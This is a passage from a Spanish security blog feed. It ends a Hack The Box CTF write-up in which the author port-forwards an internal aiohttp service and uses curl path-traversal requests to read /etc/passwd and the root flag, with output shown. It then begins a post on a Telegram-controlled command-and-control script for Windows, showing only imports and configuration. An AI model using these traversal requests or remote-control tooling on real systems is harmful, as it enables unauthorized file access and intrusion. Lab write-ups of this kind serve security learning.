      <span class="n">IPv6</span> <span class="n">address</span> <span class="k">for</span> <span class="n">eth0</span><span class="p">:</span> <span class="n">dead</span><span class="p">:</span><span class="n">beef</span><span class="p">::</span><span class="mi">250</span><span class="p">:</span><span class="mi">56</span><span class="n">ff</span><span class="p">:</span><span class="n">feb9</span><span class="p">:</span><span class="mi">2</span><span class="n">fc5</span>


    <span class="n">Expanded</span> <span class="n">Security</span> <span class="n">Maintenance</span> <span class="k">for</span> <span class="n">Applications</span> <span class="ow">is</span> <span class="ow">not</span> <span class="n">enabled</span><span class="p">.</span>

    <span class="mi">0</span> <span class="n">updates</span> <span class="n">can</span> <span class="n">be</span> <span class="n">applied</span> <span class="n">immediately</span><span class="p">.</span>

    <span class="mi">9</span> <span class="n">additional</span> <span class="n">security</span> <span class="n">updates</span> <span class="n">can</span> <span class="n">be</span> <span class="n">applied</span> <span class="k">with</span> <span class="n">ESM</span> <span class="n">Apps</span><span class="p">.</span>
    <span class="n">Learn</span> <span class="n">more</span> <span class="n">about</span> <span class="n">enabling</span> <span class="n">ESM</span> <span class="n">Apps</span> <span class="n">service</span> <span class="n">at</span> <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">ubuntu</span><span class="p">.</span><span class="n">com</span><span class="o">/</span><span class="n">esm</span>


    <span class="n">The</span> <span class="nb">list</span> <span class="n">of</span> <span class="n">available</span> <span class="n">updates</span> <span class="ow">is</span> <span class="n">more</span> <span class="n">than</span> <span class="n">a</span> <span class="n">week</span> <span class="n">old</span><span class="p">.</span>
    <span class="n">To</span> <span class="n">check</span> <span class="k">for</span> <span class="n">new</span> <span class="n">updates</span> <span class="n">run</span><span class="p">:</span> <span class="n">sudo</span> <span class="n">apt</span> <span class="n">update</span>
    <span class="n">Failed</span> <span class="n">to</span> <span class="n">connect</span> <span class="n">to</span> <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">changelogs</span><span class="p">.</span><span class="n">ubuntu</span><span class="p">.</span><span class="n">com</span><span class="o">/</span><span class="n">meta</span><span class="o">-</span><span class="n">release</span><span class="o">-</span><span class="n">lts</span><span class="p">.</span> <span class="n">Check</span> <span class="n">your</span> <span class="n">Internet</span> <span class="n">connection</span> <span class="ow">or</span> <span class="n">proxy</span> <span class="n">settings</span>

    <span class="n">rosa</span><span class="o">@</span><span class="n">chemistry</span><span class="p">:</span><span class="o">~</span><span class="err">$</span> 

</code></pre></div>    </div>

    <p>Y si aplicamos un <code class="language-plaintext highlighter-rouge">ls</code> vemos el <code class="language-plaintext highlighter-rouge">user.txt(la flag)</code></p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    rosa@chemistry:~<span class="nv">$ </span><span class="nb">pwd</span>
    /home/rosa
    rosa@chemistry:~<span class="nv">$ </span><span class="nb">ls
    </span>root  user.txt
    rosa@chemistry:~<span class="nv">$ </span>
</code></pre></div>    </div>

    <h1 id="escalada-a-root">Escalada a <code class="language-plaintext highlighter-rouge">root</code></h1>

    <p>Investigando, podemos encontrar que hay puertos internos abiertos pero el que más nos llama la antención es el <strong>127.0.0.1:8080</strong></p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">netstat</span>  <span class="o">-</span><span class="n">nltp</span>
    <span class="p">(</span><span class="n">Not</span> <span class="nb">all</span> <span class="n">processes</span> <span class="n">could</span> <span class="n">be</span> <span class="n">identified</span><span class="p">,</span> <span class="n">non</span><span class="o">-</span><span class="n">owned</span> <span class="n">process</span> <span class="n">info</span>
    <span class="n">will</span> <span class="ow">not</span> <span class="n">be</span> <span class="n">shown</span><span class="p">,</span> <span class="n">you</span> <span class="n">would</span> <span class="n">have</span> <span class="n">to</span> <span class="n">be</span> <span class="n">root</span> <span class="n">to</span> <span class="n">see</span> <span class="n">it</span> <span class="nb">all</span><span class="p">.)</span>
    <span class="n">Active</span> <span class="n">Internet</span> <span class="n">connections</span> <span class="p">(</span><span class="n">only</span> <span class="n">servers</span><span class="p">)</span>
    <span class="n">Proto</span> <span class="n">Recv</span><span class="o">-</span><span class="n">Q</span> <span class="n">Send</span><span class="o">-</span><span class="n">Q</span> <span class="n">Local</span> <span class="n">Address</span>           <span class="n">Foreign</span> <span class="n">Address</span>         <span class="n">State</span>  <span class="o">&gt;</span>
    <span class="n">tcp</span>        <span class="mi">0</span>      <span class="mi">0</span> <span class="mf">127.0</span><span class="p">.</span><span class="mf">0.1</span><span class="p">:</span><span class="mi">8080</span>          <span class="mf">0.0</span><span class="p">.</span><span class="mf">0.0</span><span class="p">:</span><span class="o">*</span>               <span class="n">LISTEN</span> <span class="o">&gt;</span>
    <span class="n">tcp</span>        <span class="mi">0</span>      <span class="mi">0</span> <span class="mf">127.0</span><span class="p">.</span><span class="mf">0.53</span><span class="p">:</span><span class="mi">53</span>           <span class="mf">0.0</span><span class="p">.</span><span class="mf">0.0</span><span class="p">:</span><span class="o">*</span>               <span class="n">LISTEN</span> <span class="o">&gt;</span>
    <span class="n">tcp</span>        <span class="mi">0</span>      <span class="mi">0</span> <span class="mf">0.0</span><span class="p">.</span><span class="mf">0.0</span><span class="p">:</span><span class="mi">22</span>              <span class="mf">0.0</span><span class="p">.</span><span class="mf">0.0</span><span class="p">:</span><span class="o">*</span>               <span class="n">LISTEN</span> <span class="o">&gt;</span>
    <span class="n">tcp</span>        <span class="mi">0</span>      <span class="mi">0</span> <span class="mf">0.0</span><span class="p">.</span><span class="mf">0.0</span><span class="p">:</span><span class="mi">5000</span>            <span class="mf">0.0</span><span class="p">.</span><span class="mf">0.0</span><span class="p">:</span><span class="o">*</span>               <span class="n">LISTEN</span> <span class="o">&gt;</span>
    <span class="n">tcp6</span>       <span class="mi">0</span>      <span class="mi">0</span> <span class="p">:::</span><span class="mi">22</span>                   <span class="p">:::</span><span class="o">*</span>                    <span class="n">LISTEN</span> <span class="o">&gt;</span>
    <span class="n">rosa</span><span class="o">@</span><span class="n">chemistry</span><span class="p">:</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">app</span><span class="err">$</span> 
</code></pre></div>    </div>
    <p>Podemos intentar hacer <strong>port forwarding</strong> para acceder a dicho puerto.</p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      <span class="n">ssh</span> <span class="o">-</span><span class="n">L</span> <span class="mi">4445</span><span class="p">:</span><span class="mf">127.0</span><span class="p">.</span><span class="mf">0.1</span><span class="p">:</span><span class="mi">8080</span> <span class="n">rosa</span><span class="o">@</span><span class="mf">10.10</span><span class="p">.</span><span class="mf">11.38</span> <span class="o">-</span><span class="n">fN</span>
</code></pre></div>    </div>
    <p><em>este comando establece un túnel SSH que permite acceder a un servicio que se ejecuta en el puerto 8080 del servidor remoto a través del puerto 4445 de tu máquina local, ejecutándose en segundo plano sin abrir una sesión interactiva en el servidor remoto.</em>
  <br /><br /></p>

    <p>Una vez hecho esto, podremos acceder a la web <strong>http://127.0.0.1:4445</strong>.</p>

    <p><img src="/assets/images/2024-11-24-chemistry-easy/portforwarding.png" alt="Untitled" /></p>

    <p>Pero, investigando un poco, no vemos nada interesante, así que podemos probar a usar curl en el usuario rosa para ver si encontramos algo que nos pueda servir.</p>

    <div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">curl</span> <span class="nl">http:</span><span class="c1">//localhost:8080 --head</span>
  <span class="no">HTTP</span><span class="o">/</span><span class="mf">1.1</span> <span class="mi">200</span> <span class="no">OK</span>
  <span class="nc">Content</span><span class="o">-</span><span class="nl">Type:</span> <span class="n">text</span><span class="o">/</span><span class="n">html</span><span class="o">;</span> <span class="n">charset</span><span class="o">=</span><span class="n">utf</span><span class="o">-</span><span class="mi">8</span>
  <span class="nc">Content</span><span class="o">-</span><span class="nl">Length:</span> <span class="mi">5971</span>
  <span class="nl">Date:</span> <span class="nc">Sun</span><span class="o">,</span> <span class="mi">24</span> <span class="nc">Nov</span> <span class="mi">2024</span> <span class="mi">18</span><span class="o">:</span><span class="mi">39</span><span class="o">:</span><span class="mi">59</span> <span class="no">GMT</span>
  <span class="nl">Server:</span> <span class="nc">Python</span><span class="o">/</span><span class="mf">3.9</span> <span class="n">aiohttp</span><span class="o">/</span><span class="mf">3.9</span><span class="o">.</span><span class="mi">1</span>
</code></pre></div>    </div>
    <p>Vemos que la versión del servidor es <strong>aiohttp/3.9.1.</strong></p>

    <p>Investigando un poco en internet, encontramos que es vulnerable a <a href="https://ethicalhacking.uk/cve-2024-23334-aiohttps-directory-traversal-vulnerability/#gsc.tab=0   ">LFI</a>. Si aplicamos el comando en el usuario Rosa, podemos observar la vulnerabilidad.</p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">curl</span> <span class="o">-</span><span class="n">s</span> <span class="o">--</span><span class="n">ruta</span><span class="o">-</span> <span class="k">as</span><span class="o">-</span><span class="ow">is</span> <span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">localhost</span><span class="p">:</span><span class="mi">8080</span><span class="o">/</span><span class="n">assets</span><span class="o">/</span><span class="p">..</span><span class="o">/</span><span class="p">..</span><span class="o">/</span><span class="p">..</span><span class="o">/</span><span class="p">..</span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">passwd</span>
  <span class="n">root</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">0</span><span class="p">:</span><span class="mi">0</span><span class="p">:</span><span class="n">root</span><span class="p">:</span><span class="o">/</span><span class="n">root</span><span class="p">:</span><span class="o">/</span><span class="nb">bin</span><span class="o">/</span><span class="n">bash</span>
  <span class="n">daemon</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">1</span><span class="p">:</span><span class="mi">1</span><span class="p">:</span><span class="n">daemon</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="nb">bin</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">2</span><span class="p">:</span><span class="mi">2</span><span class="p">:</span><span class="nb">bin</span><span class="p">:</span><span class="o">/</span><span class="nb">bin</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="n">sys</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">3</span><span class="p">:</span><span class="mi">3</span><span class="p">:</span><span class="n">sys</span><span class="p">:</span><span class="o">/</span><span class="n">dev</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="n">sync</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">4</span><span class="p">:</span><span class="mi">65534</span><span class="p">:</span><span class="n">sync</span><span class="p">:</span><span class="o">/</span><span class="nb">bin</span><span class="p">:</span><span class="o">/</span><span class="nb">bin</span><span class="o">/</span><span class="n">sync</span>
  <span class="n">games</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">5</span><span class="p">:</span><span class="mi">60</span><span class="p">:</span><span class="n">games</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">games</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="n">man</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">6</span><span class="p">:</span><span class="mi">12</span><span class="p">:</span><span class="n">man</span><span class="p">:</span><span class="o">/</span><span class="n">var</span><span class="o">/</span><span class="n">cache</span><span class="o">/</span><span class="n">man</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="n">lp</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">7</span><span class="p">:</span><span class="mi">7</span><span class="p">:</span><span class="n">lp</span><span class="p">:</span><span class="o">/</span><span class="n">var</span><span class="o">/</span><span class="n">spool</span><span class="o">/</span><span class="n">lpd</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="n">mail</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">8</span><span class="p">:</span><span class="mi">8</span><span class="p">:</span><span class="n">mail</span><span class="p">:</span><span class="o">/</span><span class="n">var</span><span class="o">/</span><span class="n">mail</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="n">news</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">9</span><span class="p">:</span><span class="mi">9</span><span class="p">:</span><span class="n">news</span><span class="p">:</span><span class="o">/</span><span class="n">var</span><span class="o">/</span><span class="n">spool</span><span class="o">/</span><span class="n">news</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="n">uucp</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">10</span><span class="p">:</span><span class="mi">10</span><span class="p">:</span><span class="n">uucp</span><span class="p">:</span><span class="o">/</span><span class="n">var</span><span class="o">/</span><span class="n">spool</span><span class="o">/</span><span class="n">uucp</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="n">proxy</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">13</span><span class="p">:</span><span class="mi">13</span><span class="p">:</span><span class="n">proxy</span><span class="p">:</span><span class="o">/</span><span class="nb">bin</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="n">www</span><span class="o">-</span><span class="n">data</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">33</span><span class="p">:</span><span class="mi">33</span><span class="p">:</span><span class="n">www</span><span class="o">-</span><span class="n">data</span><span class="p">:</span><span class="o">/</span><span class="n">var</span><span class="o">/</span><span class="n">www</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="n">backup</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">34</span><span class="p">:</span><span class="mi">34</span><span class="p">:</span><span class="n">backup</span><span class="p">:</span><span class="o">/</span><span class="n">var</span><span class="o">/</span><span class="n">backups</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="nb">list</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">38</span><span class="p">:</span><span class="mi">38</span><span class="p">:</span><span class="n">Mailing</span> <span class="n">List</span> <span class="n">Manager</span><span class="p">:</span><span class="o">/</span><span class="n">var</span><span class="o">/</span><span class="nb">list</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="n">irc</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">39</span><span class="p">:</span><span class="mi">39</span><span class="p">:</span><span class="n">ircd</span><span class="p">:</span><span class="o">/</span><span class="n">var</span><span class="o">/</span><span class="n">run</span><span class="o">/</span><span class="n">ircd</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="n">gnats</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">41</span><span class="p">:</span><span class="mi">41</span><span class="p">:</span><span class="n">Gnats</span> <span class="n">Bug</span><span class="o">-</span><span class="n">Reporting</span> <span class="n">System</span> <span class="p">(</span><span class="n">admin</span><span class="p">):</span><span class="o">/</span><span class="n">var</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">gnats</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="n">nobody</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">65534</span><span class="p">:</span><span class="mi">65534</span><span class="p">:</span><span class="n">nobody</span><span class="p">:</span><span class="o">/</span><span class="n">nonexistent</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="n">systemd</span><span class="o">-</span><span class="n">network</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">100</span><span class="p">:</span><span class="mi">102</span><span class="p">:</span><span class="n">systemd</span> <span class="n">Network</span> <span class="n">Management</span><span class="p">,,,:</span><span class="o">/</span><span class="n">run</span><span class="o">/</span><span class="n">systemd</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="n">systemd</span><span class="o">-</span><span class="n">resolve</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">101</span><span class="p">:</span><span class="mi">103</span><span class="p">:</span><span class="n">systemd</span> <span class="n">Resolver</span><span class="p">,,,:</span><span class="o">/</span><span class="n">run</span><span class="o">/</span><span class="n">systemd</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="n">systemd</span><span class="o">-</span><span class="n">timesync</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">102</span><span class="p">:</span><span class="mi">104</span><span class="p">:</span><span class="n">systemd</span> <span class="n">Time</span> <span class="n">Synchronization</span><span class="p">,,,:</span><span class="o">/</span><span class="n">run</span><span class="o">/</span><span class="n">systemd</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="n">messagebus</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">103</span><span class="p">:</span><span class="mi">106</span><span class="p">::</span><span class="o">/</span><span class="n">nonexistent</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="n">syslog</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">104</span><span class="p">:</span><span class="mi">110</span><span class="p">::</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">syslog</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="n">_apt</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">105</span><span class="p">:</span><span class="mi">65534</span><span class="p">::</span><span class="o">/</span><span class="n">nonexistent</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="n">tss</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">106</span><span class="p">:</span><span class="mi">111</span><span class="p">:</span><span class="n">TPM</span> <span class="n">software</span> <span class="n">stack</span><span class="p">,,,:</span><span class="o">/</span><span class="n">var</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">tpm</span><span class="p">:</span><span class="o">/</span><span class="nb">bin</span><span class="o">/</span><span class="n">false</span>
  <span class="n">uuidd</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">107</span><span class="p">:</span><span class="mi">112</span><span class="p">::</span><span class="o">/</span><span class="n">run</span><span class="o">/</span><span class="n">uuidd</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="n">tcpdump</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">108</span><span class="p">:</span><span class="mi">113</span><span class="p">::</span><span class="o">/</span><span class="n">nonexistent</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="n">landscape</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">109</span><span class="p">:</span><span class="mi">115</span><span class="p">::</span><span class="o">/</span><span class="n">var</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">landscape</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="n">pollinate</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">110</span><span class="p">:</span><span class="mi">1</span><span class="p">::</span><span class="o">/</span><span class="n">var</span><span class="o">/</span><span class="n">cache</span><span class="o">/</span><span class="n">pollinate</span><span class="p">:</span><span class="o">/</span><span class="nb">bin</span><span class="o">/</span><span class="n">false</span>
  <span class="n">fwupd</span><span class="o">-</span><span class="n">refresh</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">111</span><span class="p">:</span><span class="mi">116</span><span class="p">:</span><span class="n">fwupd</span><span class="o">-</span><span class="n">refresh</span> <span class="n">user</span><span class="p">,,,:</span><span class="o">/</span><span class="n">run</span><span class="o">/</span><span class="n">systemd</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="n">usbmux</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">112</span><span class="p">:</span><span class="mi">46</span><span class="p">:</span><span class="n">usbmux</span> <span class="n">daemon</span><span class="p">,,,:</span><span class="o">/</span><span class="n">var</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">usbmux</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="n">sshd</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">113</span><span class="p">:</span><span class="mi">65534</span><span class="p">::</span><span class="o">/</span><span class="n">run</span><span class="o">/</span><span class="n">sshd</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="n">systemd</span><span class="o">-</span><span class="n">coredump</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">999</span><span class="p">:</span><span class="mi">999</span><span class="p">:</span><span class="n">systemd</span> <span class="n">Core</span> <span class="n">Dumper</span><span class="p">:</span><span class="o">/</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">nologin</span>
  <span class="n">rosa</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">1000</span><span class="p">:</span><span class="mi">1000</span><span class="p">:</span><span class="n">rosa</span><span class="p">:</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">rosa</span><span class="p">:</span><span class="o">/</span><span class="nb">bin</span><span class="o">/</span><span class="n">bash</span>
  <span class="n">lxd</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">998</span><span class="p">:</span><span class="mi">100</span><span class="p">::</span><span class="o">/</span><span class="n">var</span><span class="o">/</span><span class="n">snap</span><span class="o">/</span><span class="n">lxd</span><span class="o">/</span><span class="n">common</span><span class="o">/</span><span class="n">lxd</span><span class="p">:</span><span class="o">/</span><span class="nb">bin</span><span class="o">/</span><span class="n">false</span>
  <span class="n">app</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">1001</span><span class="p">:</span><span class="mi">1001</span><span class="p">:,,,:</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">app</span><span class="p">:</span><span class="o">/</span><span class="nb">bin</span><span class="o">/</span><span class="n">bash</span>
  <span class="n">_laurel</span><span class="p">:</span><span class="n">x</span><span class="p">:</span><span class="mi">997</span><span class="p">:</span><span class="mi">997</span><span class="p">::</span><span class="o">/</span><span class="n">var</span><span class="o">/</span><span class="n">log</span><span class="o">/</span><span class="n">laurel</span><span class="p">:</span><span class="o">/</span><span class="nb">bin</span><span class="o">/</span><span class="n">false</span>

</code></pre></div>    </div>
    <p>Si podemos visualizar el etc/passwd tambine podriamos visualizar la <strong>flag</strong> del root</p>

    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">curl</span> <span class="o">-</span><span class="n">s</span> <span class="o">--</span><span class="n">ruta</span><span class="o">-</span> <span class="k">as</span><span class="o">-</span><span class="ow">is</span> <span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">localhost</span><span class="p">:</span><span class="mi">8080</span><span class="o">/</span><span class="n">assets</span><span class="o">/</span><span class="p">..</span><span class="o">/</span><span class="p">..</span><span class="o">/</span><span class="p">..</span><span class="o">/</span><span class="p">..</span><span class="o">/</span><span class="n">root</span><span class="o">/</span><span class="n">root</span><span class="p">.</span><span class="n">txt</span>
</code></pre></div>    </div>

    <h1 id="finalización">Finalización</h1>
    <p>Espero que hayan aprendido mucho haciendo esta máquina y les haya servido de ayuda mi explicación para poder entender esta <strong>CTF</strong>. Muchas gracias por leer el artículo y no olviden seguirme en <a href="https://github.com/0x832/">GitHub</a>, ya que también iré subiendo herramientas de hacking.</p>
  </li>
</ul>]]></content><author><name>0x832</name></author><category term="Hack the box" /><category term="Pentesting" /><category term="CTF" /><category term="CIF Malicioso" /><category term="LFI" /><category term="Hack the box" /><summary type="html"><![CDATA[Hola a todos, hoy les presentaré la resolución de una máquina **Hack the box de dificultad Easy**. En esta máquina aprenderemos a subir un archivo **CIF malicioso** para luego acceder al sistema i a continuacion acceder por **SSH** con un usuario y llegar a ser **root** abusando de **LFI**]]></summary></entry><entry><title type="html">Command &amp;amp; Control - Python scripting</title><link href="https://0x832.io/command-control/" rel="alternate" type="text/html" title="Command &amp;amp; Control - Python scripting" /><published>2024-10-29T00:00:00+00:00</published><updated>2024-10-29T00:00:00+00:00</updated><id>https://0x832.io/command-control</id><content type="html" xml:base="https://0x832.io/command-control/"><![CDATA[<p><img src="/assets/images/2024-10-29-command-control/telegram.jpg" alt="" /></p>

<p>Hola a todos, hoy les presentaré un pequeño script en Python que desarrollé hace unos días, llamado Command and Control. Su función principal es permitir la ejecución remota de diferentes funciones del sistema Windows a través de un bot de Telegram
<br /></p>

<h1 id="requisitos">Requisitos</h1>
<ul>
  <li>
    <p>Necesitaremos tener BotFeather, Get My ID</p>

    <ul>
      <li><strong>BotFeather</strong>: Utilizaremos BotFeather para crear y tener el token del bot</li>
      <li>
        <p><strong>Get MY ID</strong>: Será necesario para saber cuál es nuestro ID y poder configurar el bot de forma correcta.</p>
      </li>
      <li>
        <p>Para poder encontrarlo es necesario entrar a Telegram y buscar por <strong>BotFeather</strong> <strong>Get MY ID</strong> en el buscador</p>

        <p><img src="/assets/images/2024-10-29-command-control/imagen.png" alt="" /></p>
      </li>
    </ul>
  </li>
</ul>

<p><br /></p>

<h1 id="desarrollo-del-script">Desarrollo del Script</h1>
<h3 id="1-configuración-del-command-and-control-"><strong>1. Configuración del Command and Control :</strong></h3>

<p><strong>Descripción:</strong>
  Esta sección del script contiene todo el código necesario para configurar y establecer el sistema de Command and Control
  <br /></p>

<p>Primero, vamos a importar las librerías necesarias para que el script funcione correctamente.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="kn">import</span> <span class="nn">telegram</span> 
    <span class="kn">from</span> <span class="nn">telegram.ext</span> <span class="kn">import</span> <span class="n">Application</span><span class="p">,</span> <span class="n">CommandHandler</span> 
    <span class="kn">import</span> <span class="nn">os</span> 
    <span class="kn">from</span> <span class="nn">functools</span> <span class="kn">import</span> <span class="n">wraps</span> 
    <span class="kn">import</span> <span class="nn">pyautogui</span> 

</code></pre></div></div>
<p><br /></p>

<ul>
  <li>
    <p><strong>import telegram:</strong> Para la comunicación con la API de Telegram</p>
  </li>
  <li>
    <p><strong>from telegram.ext import Application, CommandHandler:</strong> Para la comunicación directa al bot de</p>

    <p>telegram tanto respuesta como comandos directos que se le enviaran</p>
  </li>
  <li>
    <p><strong>import os:</strong> Para que el programa pueda comunicarse directamente al sistema operativo</p>
  </li>
  <li>
    <p><strong>from functools import wraps:</strong> Para guardar metadatos de funciones al crear los decoradores</p>
  </li>
  <li>
    <p><strong>import pyautogui:</strong> Para la comunicación con la interfaz gráfica</p>
  </li>
</ul>

<h3 id="2--configuración-del-token-id-del-bot-"><strong>2- Configuración del Token ,ID del bot :</strong></h3>
<p>En esta sección escribiremos tanto nuestro TOKEN como nuestro ID de Telegram.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">TOKEN</span> <span class="o">=</span> <span class="s">'TOKEN_BOT'</span>
    <span class="n">AUTHORIZED_USERS</span> <span class="o">=</span> <span class="p">[</span><span class="n">tu_id</span><span class="p">]</span>  

</code></pre></div></div>
<ul>
  <li>
    <p><strong>TOKEN:</strong> Se obtiene la configuración <code class="language-plaintext highlighter-rouge">telegram_config</code> para autenticar el bot en la API de Telegram.</p>
  </li>
  <li>
    <p><strong>CHAT_ID:</strong> Se obtiene la configuración <code class="language-plaintext highlighter-rouge">telegram_config</code> para especificar el chat al que se enviará la imagen.
  <br /></p>
  </li>
</ul>

<h3 id="3--validador-de-id-telegram"><strong>3- Validador de ID telegram:</strong></h3>
